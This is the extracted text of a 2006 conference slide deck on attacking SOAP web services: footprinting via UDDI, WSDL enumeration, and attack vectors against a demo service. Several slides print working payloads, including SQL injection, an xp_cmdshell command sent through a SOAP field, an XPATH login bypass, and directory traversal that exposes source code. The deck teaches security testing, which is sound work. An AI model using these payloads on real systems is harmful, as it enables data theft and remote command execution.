Advanced Web Services Hacking (AusCERT 06)

Advanced Web Services Hacking Attacks & Defense Shreeraj Shah

Introduction Founder & Director G Net Square (Brief) – Past experience G Chase, IBM & Foundstone – Interest G Web security research – Published G Advisories, Tools, Papers etc. – Book G Web Hacking – http://shreeraj.blogspot.com shreeraj@net-square.com Shreeraj Shah

Agenda Web Services Attack Vectors Strategies & Tools & Exploits Methods Defense Controls Corporate Security Industry Web Services TCP – 80/443 Technologies Shreeraj Shah

Industry Web 2.0 Applications are on the rise G Rich Internet Applications (RIA) – G reshaping application front Web Services on the rise – forming G backend of applications Gartner is advising companies to take up G Web services now, or risk losing out to competitors embracing the technology. Shreeraj Shah

Industry By 2008, those without Web Services or G Service-Oriented Architecture (SOA) would find their competitors had left them in the dust. [Gartner] 2006-07 would see the top 2000 global G companies pick up the technology and make it mainstream. Government and SMB would finally follow in 2008. Web services would rocket from $1.6 G billion in 2004 to $34 billion by 2007. [IDC] Shreeraj Shah

Technologies Web Services is forming back end and G accessible on SOAP AJAX – empowering browsers G XML based services G Rich Internet Applications are consuming G back end web services Search engines and mechanisms for web G services publishing and accessing Security evolving around web services G Shreeraj Shah

Technologies Internet DMZ Trusted SOAP Web Service W Client E Application Scripted B Web Servers Web S Server And Engine E Static pages Dynamic pages Web Integrated R HTML,HTM etc.. ASP DHTML, V Client Framework PHP,CGI Etc.. I ASP.NET with C X .Net E J2EE App S Server Web Services Etc.. DB Shreeraj Shah Internal/Corporate

Technologies Simple GET/POST Simple AJAX HTTP resource Web Calls Web Services Server resource Web Services Client Shreeraj Shah

Web services stack Presentation Stack XML Security Stack WS-Security Discovery Stack UDDI, DISCO Access Stack WSDL,SOAP Transport Stack HTTP, HTTPS Shreeraj Shah

Security! Web service - evolving as new attack G point in application framework. Toolkits and Exploits are coming up G Too many protocols and confusion G Race for deployment – poor G implementation Cases and attacks are growing with G growth in business usage Shreeraj Shah

Agenda Web Services Attack Vectors Strategies Tools & & Exploits Methods Defense Controls Corporate Security Industry Web Services TCP – 80/443 Technologies Shreeraj Shah

Assessment strategies Web Services Risk Model Blackbox Whitebox Assessment Assessment Web Services Defense Controls Shreeraj Shah

Risk - In transit In transit Sniffing or Spoofing G WS-Routing security concern G Replay attacks G Shreeraj Shah

Risk - Web services Engine Buffer overflow G XML parsing attacks G Spoiling Schema G Complex or Recursive structure as payload G Denial of services G Large payload G Shreeraj Shah

Web services Deployment - Risk Fault code leaks G Permissions & Access issues G Poor policies G Customized error leakage G Authentication and Certification G Shreeraj Shah

Web services User code - Risk Parameter tampering G WSDL probing G SQL/LDAP/XPATH/OS command injection G Virus/Spyware/Malware injection G Bruteforce G Data type mismatch G Content spoofing G Session tampering G Format string G Information leakage G Authorization G Shreeraj Shah

wschess (Tool) wsPawn wsFootprint Footprinting wsSearch wsDiscovery Discovery Public domain search wsEnum wsKnight Enumeration wsAudit wsProxy Manual Audit Auto Audit wsMod wsRook Defense Download : http://net-square.com/wschess/ Shreeraj Shah

Agenda Web Services Attack Vectors Strategies & Tools & Exploits Methods •Footprinting •Discovery Defense Controls •Public Domain Corporate Security Industry Web Services TCP – 80/443 Technologies Shreeraj Shah

Web Services Footprinting Shreeraj Shah

Footprinting Objectives G Place for web services… – We may know the company name in this – case? Do we have any whois for web services? – If we answer above questions then we can – have enough information on what to assess? Shreeraj Shah

UDDI Universal Description, Discovery, and G Integration (UDDI) It acts as White/Yellow/Green pages G Xmethods etc… G Information can be published and retrieved G from Gets replicated across networks over G internet Shreeraj Shah

UDDI It includes G businessEntity – businessService – bindingTemplate – tModel – Shreeraj Shah

Footprinting Business Name POST /inquire HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.4.2_04 Host: uddi.microsoft.com Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-Length: 229 <?xml version="1.0" encoding="UTF-8" ?> <Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/"> <Body> <find_business generic="2.0" maxRows="100" xmlns="urn:uddi- org:api_v2"><name>amazon</name></find_business> </Body> </Envelope>HTTP/1.1 100 Continue Shreeraj Shah

Footprinting Business Name HTTP/1.1 200 OK Date: Tue, 28 Sep 2004 09:53:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Content-Length: 1339 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema- instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><businessList generic="2.0" operator="Microsoft Corporation" truncated="false" xmlns="urn:uddi- org:api_v2"><businessInfos><businessInfo businessKey="bfb9dc23-adec-4f73-bd5f- 5545abaeaa1b"><name xml:lang="en-us">Amazon Web Services for Testing</name><description xml:lang="ko">Amazon Web Services 2.0 - We now offer software developers the opportunity to integrate Amazon.com</description><serviceInfos><serviceInfo serviceKey="41213238-1b33-40f4-8756- c89cc3125ecc" businessKey="bfb9dc23-adec-4f73-bd5f-5545abaeaa1b"><name xml:lang="en-us">Amazon Web Services 2.0</name></serviceInfo></serviceInfos></businessInfo><businessInfo businessKey="18b7fde2-d15c-437c-8877-ebec8216d0f5"><name xml:lang="en">Amazon.com</name><description xml:lang="en">E-commerce website and platform for finding, discovering, and buying products online.</description><serviceInfos><serviceInfo serviceKey="ba6d9d56-ea3f-4263-a95a-eeb17e5910db" businessKey="18b7fde2-d15c-437c-8877- ebec8216d0f5"><name xml:lang="en">Amazon.com Web Services</name></serviceInfo></serviceInfos></businessInfo></businessInfos></businessList></soap:Bod Shreeraj Shah y></soap:Envelope>

Footprinting Services POST /inquire HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.4.2_04 Host: uddi.microsoft.com Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-Length: 213 <?xml version="1.0" encoding="UTF-8" ?> <Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/"> <Body> <find_service generic="2.0" xmlns="urn:uddi- org:api_v2"><name>amazon</name></find_service> </Body> </Envelope> HTTP/1.1 100 Continue Shreeraj Shah

Footprinting Services HTTP/1.1 200 OK Date: Tue, 28 Sep 2004 10:07:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Content-Length: 1272 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema- instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><serviceList generic="2.0" operator="Microsoft Corporation" truncated="false" xmlns="urn:uddi-org:api_v2"><serviceInfos><serviceInfo serviceKey="6ec464e0-2f8d-4daf-b4dd-5dd4ba9dc8f3" businessKey="914374fb-f10f-4634-b8ef- c9e34e8a0ee5"><name xml:lang="en-us">Amazon Research Pane</name></serviceInfo><serviceInfo serviceKey="41213238-1b33-40f4-8756-c89cc3125ecc" businessKey="bfb9dc23-adec-4f73-bd5f- 5545abaeaa1b"><name xml:lang="en-us">Amazon Web Services 2.0</name></serviceInfo><serviceInfo serviceKey="ba6d9d56-ea3f-4263-a95a-eeb17e5910db" businessKey="18b7fde2-d15c-437c-8877- ebec8216d0f5"><name xml:lang="en">Amazon.com Web Services</name></serviceInfo><serviceInfo serviceKey="bc82a008-5e4e-4c0c-8dba-c5e4e268fe12" businessKey="18785586-295e-448a-b759- ebb44a049f21"><name xml:lang="en">AmazonBookPrice</name></serviceInfo><serviceInfo serviceKey="8faa80ea-42dd-4c0d-8070-999ce0455930" businessKey="ee41518b-bf99-4a66-9e9e- c33c4c43db5a"><name xml:lang="en">AmazonBookPrice</name></serviceInfo></serviceInfos></serviceList></soap:Body></soap: Envelope> Shreeraj Shah

Footprinting t-Models POST /inquire HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.4.2_04 Host: uddi.microsoft.com Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-Length: 211 <?xml version="1.0" encoding="UTF-8" ?><Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/"><Body><find_tModel generic="2.0" xmlns="urn:uddi- org:api_v2"><name>amazon</name></find_tModel></Body></Envelope> HTTP/1.1 100 Continue Shreeraj Shah

Footprinting t-Models HTTP/1.1 200 OK Date: Tue, 28 Sep 2004 10:12:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private, max-age=0 Content-Type: text/xml; charset=utf-8 Content-Length: 516 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><tModelList generic="2.0" operator="Microsoft Corporation" truncated="false" xmlns="urn:uddi- org:api_v2"><tModelInfos><tModelInfo tModelKey="uuid:c5da9443-d058-4ede-9db1- 4f1d5deb805c"><name>Amazon Web Services 2.0 WSDL File</name></tModelInfo></tModelInfos></tModelList></soap:Body></soap:Envelope> DEMO Shreeraj Shah

Web Services Discovery Shreeraj Shah

Web Service Discovery After footprinting web services next step is G to perform discovery. On the basis of services found one can do G so. Finding access point for web services will G point to its discovery. Discovery is the key to the kingdom. G Once again over UDDI. G Shreeraj Shah

Web Service Discovery From various keys – Service and Business G one can dig access point from UBN. This is a part of protocol and identified from G XML block itself. DEMO Shreeraj Shah

Web Service Search Search in public domain G Use – Search Engines G Google & MSN – An excellent tool G Look for wsdl,asmx,jws etc. G Filetype and allinurl are best friends G Leveraging Web APIs G DEMO Shreeraj Shah

Web Services Enumeration & Profiling Shreeraj Shah

Technology Identification Running on which platform? G Configuration and Structures G File extensions G Path discovery G This is very useful information G Shreeraj Shah

Demo Application Web Services Location of WSDL Shreeraj Shah

Technology Identification Location can be obtained from UDDI as well G if already published. G WSDL location [ Access Point ] http://192.168.11.2/ws/dvds4less.asmx?wsdl .asmx – indicates .Net server from MS Shreeraj Shah

Technology Identification Similarly .jws – for Java web services G /ws/ - in the path indicates web services G MS-SOAPToolkit can be identified as well G C:>nc 192.168.11.2 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 18:48:20 GMT X-Powered-By: ASP.NET Connection: Keep-Alive Content-Length: 7565 Content-Type: text/html Set-Cookie: ASPSESSIONIDSSSRQDRC=LMMPKHNAAOFDHMIHAODOJHCO; path=/ Cache-control: private Shreeraj Shah

Technology Identification Resource header spits some information as G well C:>nc 192.168.11.2 80 HEAD /ws/dvds4less.asmx HTTP/1.0 HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 18:50:09 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3026 Shreeraj Shah

WSDL Scanning/Enumeration What is WSDL? G What information one can G enumerate from WSDL? WSDL exposure is threat or not? G Shreeraj Shah

WSDL WSDL is web services definition G language It is similar to old IDL for remote G calls used in CORBA or other remote invoke methods. It contains detail of methods G Types of I/O G Parameters of methods G It is XML document with standards. G Shreeraj Shah

Nodes of WSDL Data types Message Operations Types Service Access Binding Shreeraj Shah

WSDL <Service> <service name="dvds4less"> <port name="dvds4lessSoap" binding="s0:dvds4lessSoap"> <soap:address location="http://192.168.11.2/ws/dvds4less.asmx"/> </port> </service> Where the call is going to hit? It is where service is listening. Shreeraj Shah

WSDL <portType> Methods one Can call <portType name="dvds4lessSoap"> <operation name="Intro"> <input message="s0:IntroSoapIn"/> <output message="s0:IntroSoapOut"/> </operation> <operation name="getProductInfo"> <input message="s0:getProductInfoSoapIn"/> <output message="s0:getProductInfoSoapOut"/> </operation> <operation name="getRebatesInfo"> <input message="s0:getRebatesInfoSoapIn"/> <output message="s0:getRebatesInfoSoapOut"/> </operation> </portType> Shreeraj Shah

WSDL <Message> <portType name="dvds4lessSoap"> <operation name="getProductInfo"> <input message="s0:getProductInfoSoapIn"/> <output message="s0:getProductInfoSoapOut"/> </operation> </portType> <message name="getProductInfoSoapIn"> <part name="parameters" element="s0:getProductInfo"/> </message> <message name="getProductInfoSoapOut"> <part name="parameters" element="s0:getProductInfoResponse"/> </message> Shreeraj Shah

WSDL <Types> <message name="getProductInfoSoapIn"> <part name="parameters" element="s0:getProductInfo"/> </message> <message name="getProductInfoSoapOut"> <part name="parameters" element="s0:getProductInfoResponse"/> </message> <s:element name="getProductInfo"> <s:complexType> <s:sequence> <s:element minOccurs="0" maxOccurs="1" name="id" type="s:string"/> </s:sequence> </s:complexType> </s:element> <s:element name="getProductInfoResponse"> <s:complexType> <s:sequence> <s:element minOccurs="0" maxOccurs="1" name="getProductInfoResult" type="s:string"/> Shreeraj Shah

WSDL Profile after Scan Methods INPUT OUTPUT Intro -No- String getProductInfo String String getRebatesInfo String String DEMO Shreeraj Shah

How it looks? Intro WSDL <PortType> Web Services Remote getProductInfo <Service> Code Invokes <Message> <Types> OR getRebatesInfo Class Shreeraj Shah

Web Services Attack Vectors Shreeraj Shah

AV 1 - XML poisoning XML node manipulation G Attack on parsing logic G SAX – DOM – Can be lethal – DoS or breaking G execution logic Shreeraj Shah

XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street</Address> <Email>john@smith.com</Email> <PhoneNumber>3809922347</PhoneNumber> </ CustomerRecord> Shreeraj Shah

XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName><CustomerNumb er>289001</CustomerNumber> <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street</Address> <Email>john@smith.com</Email> <PhoneNumber>3809922347</PhoneNumber> </ CustomerRecord> Shreeraj Shah

XML poisoning <CustomerRecord> <CustomerNumber>289001</CustomerNumber> <FirstName>John</FirstName> <FirstName>John</FirstName> ... 100 time… <FirstName>John</FirstName> <LastName>Smith</LastName> <Address>Apt 31, 1st Street<Address> <Email>john@smith.com<Email> <PhoneNumber>3809922347<PhoneNumber> </ CustomerRecord> Shreeraj Shah

AV 2 - Parameter tampering & Fault code leakage Fault code of web services spit lot of G information about internal workings. This attack can fetch internal paths, G database interfaces etc. Fault code is part of SOAP envelope and this G helps an attacker to make logical deduction about assets. DEMO Shreeraj Shah

SOAP request SOAP Forcing Fault Code Envelope Source of Enumeration <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getRebatesInfo xmlns="http://tempuri.org/"> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> Input to the method Method Demo Call Shreeraj Shah

SOAP response <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --> Could not find file &quot;c:inetpubwwwroot ebatesabx.xyz&quot;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Fault Code Path Enumeration Shreeraj Shah

AV 3 - SQL injection SQL injection can be done using SOAP G traffic. It is innovative way of identifying database G interface points. One can leverage xp_cmdshell via SOAP. G Back end database can be compromised G using this attack. DEMO Shreeraj Shah

SOAP request SOAP Envelope <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfo xmlns="http://tempuri.org/"> <id>1</id> </getProductInfo> </soap:Body> </soap:Envelope> Input to the method Method Call Shreeraj Shah

SOAP request Product Information <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfoResponse xmlns="http://tempuri.org/"> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Shreeraj Shah

SOAP response <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --> Cannot use empty object or column names. Use a single space if necessary.</faultstring> <detail /> </soap:Fault> </soap:Body> Fault Code Demo Indicates SQL Server Place for SQL Injection Shreeraj Shah

SOAP response Popular SQL Injection <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfo xmlns="http://tempuri.org/"> <id>1 or 1=1</id> </getProductInfo> </soap:Body> </soap:Envelope> Fault Code Shreeraj Shah

SOAP request Works!! <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfoResponse xmlns="http://tempuri.org/"> <getProductInfoResult>/(1)Finding Nemo($14.99)/ /(2)Bend it like Beckham($12.99)/ /(3)Doctor Zhivago($10.99)/ /(4)A Bug's Life($13.99)/ /(5)Lagaan($12.99)/ /(6)Monsoon Wedding($10.99)/ Entire Table /(7)Lawrence of Arabia($14.99)/ Is out </getProductInfoResult> </getProductInfoResponse> </soap:Body> Shreeraj Shah

SOAP response Exploiting this Vulnerability <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfo xmlns="http://tempuri.org/"> <id>1;EXEC master..xp_cmdshell 'dir c: > c:inetpubwwwrootwsdir.txt'</id> </getProductInfo> </soap:Body> </soap:Envelope> Exploit code Shreeraj Shah

SOAP request Works!! <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getProductInfoResponse xmlns="http://tempuri.org/"> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Looks Normal response Shreeraj Shah

SOAP request But … Code got executed Looks Normal Got Admin via response cmdshell Shreeraj Shah

AV 4 – XPATH injection XPATH is new way of querying XML G documents. This attack works nicely on web services G since they use XML extensively. Developer’s loophole can be leveraged with G an exploit. XPATH query crafting is next generation G attack methods. Shreeraj Shah

XPATH Injection - Basics XPATH is a language defined to find G information from XML document. As XPATH name suggests it indeed uses G path to traverse through nodes of XML document and look for specific information from the document. XPATH provides expressions like slash (/), G double slash (//), dot(.), double dot (..), @, =, <, > etc. It helps in traversing through XML document. Shreeraj Shah

XPATH – Vulnerable Code string fulltext = ""; string coString = "Provider=SQLOLEDB;Server=(local);database=order;User ID=sa;Password=mypass"; SqlXmlCommand co = new SqlXmlCommand(coString); co.RootTag="Credential"; co.CommandType = SqlXmlCommandType.Sql; co.CommandText = "SELECT * FROM users for xml Auto"; XmlReader xr = co.ExecuteXmlReader(); xr.MoveToContent(); fulltext = xr.ReadOuterXml(); XmlDocument doc = new XmlDocument(); doc.LoadXml(fulltext); string credential = "//users[@username='"+user+"' and @password='"+pass+"']"; XmlNodeList xmln = doc.SelectNodes(credential); string temp; if(xmln.Count > 0) { //True } else //false Shreeraj Shah

Attacking XPATH point //users[@username='"+user+"' and @password='"+pass+"']"; G XPATH parsing can be leveraged by passing G following string ' or 1=1 or ''=‘ This will always true on the first node and G user can get access as who ever is first user. //users[@username='' or 1=1 or ''='' and @password='any'] G Bingo! DEMO Shreeraj Shah

AV 6 – LDAP injection LDAP authentication in place G Possible to manipulate LDAP queries G May leads to enumeration OR G manipulation Interesting attack vector G Fault code leaks LDAP interface G DEMO Shreeraj Shah

AV 7 – File System access Identifying file system points G Directory traversing & Access G Leads to file access and source code G exposure Lethal if found! G DEMO Shreeraj Shah

SOAP request SOAP Forcing Fault Code Envelope Source of Enumeration <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getRebatesInfo xmlns="http://tempuri.org/"> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> Input to the method Method Demo Call Shreeraj Shah

SOAP response <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --> Could not find file &quot;c:inetpubwwwroot ebatesabx.xyz&quot;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Fault Code Path Enumeration Shreeraj Shah

SOAP request SOAP Forcing file Envelope <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getRebatesInfo xmlns="http://tempuri.org/"> <fileinfo>../rebates.asp</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> Input to the method Method Call Shreeraj Shah

SOAP request File Access to system Parameter Temparing <?xml version="1.0" encoding="utf-16"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <getRebatesInfoResponse xmlns="http://tempuri.org/"> <getRebatesInfoResult><% ' file: rebates.asp ' date: 20- AUG-03 ' desc: rebates listing ' author: nd ' client: dvds4less 'check if we have been called with a filename or without loc = request.querystring("loc") lenloc = len(loc) if lenloc > 0 then ' we have been called with a filename ' so print the rebate coupon%><img ……………………. </getRebatesInfoResult> </getRebatesInfoResponse> </soap:Body> </soap:Envelope> Shreeraj Shah

AV 7 – SOAP brute forcing SOAP envelope takes user & pass accounts. G It is possible to bruteforce SOAP envelope G and look for specific responses. This is a possible attack which can get into G the system. Analyzing SOAP response is key for this set G of attack. DEMO Shreeraj Shah

AV 8 – Parameter overflow Adding large buffers to XML nodes G Depending on code controls – It may fail in G handling Breaking the application G May compromise as well G Traditional buffer overflow type attacks G DEMO Shreeraj Shah

AV 9 – Operating System access Point to OS G Remote command execution is possible G Either by “|” or “;” G Attack is very much possible G Leads to admin/root on the box… G DEMO Shreeraj Shah

AV 10 – Session hijacking Web services can maintain sessions G [WebMethod(EnableSession=true)] – Possible to reverse engineer session G Cookie tempering is reality… G Can be compared to traditional web G application session. DEMO Shreeraj Shah

Other attacks External referencing – XML schema G XSS attack G In transit attacks – replay and G spoofing Shreeraj Shah

Advanced Web Services Hacking (AusCERT 06)

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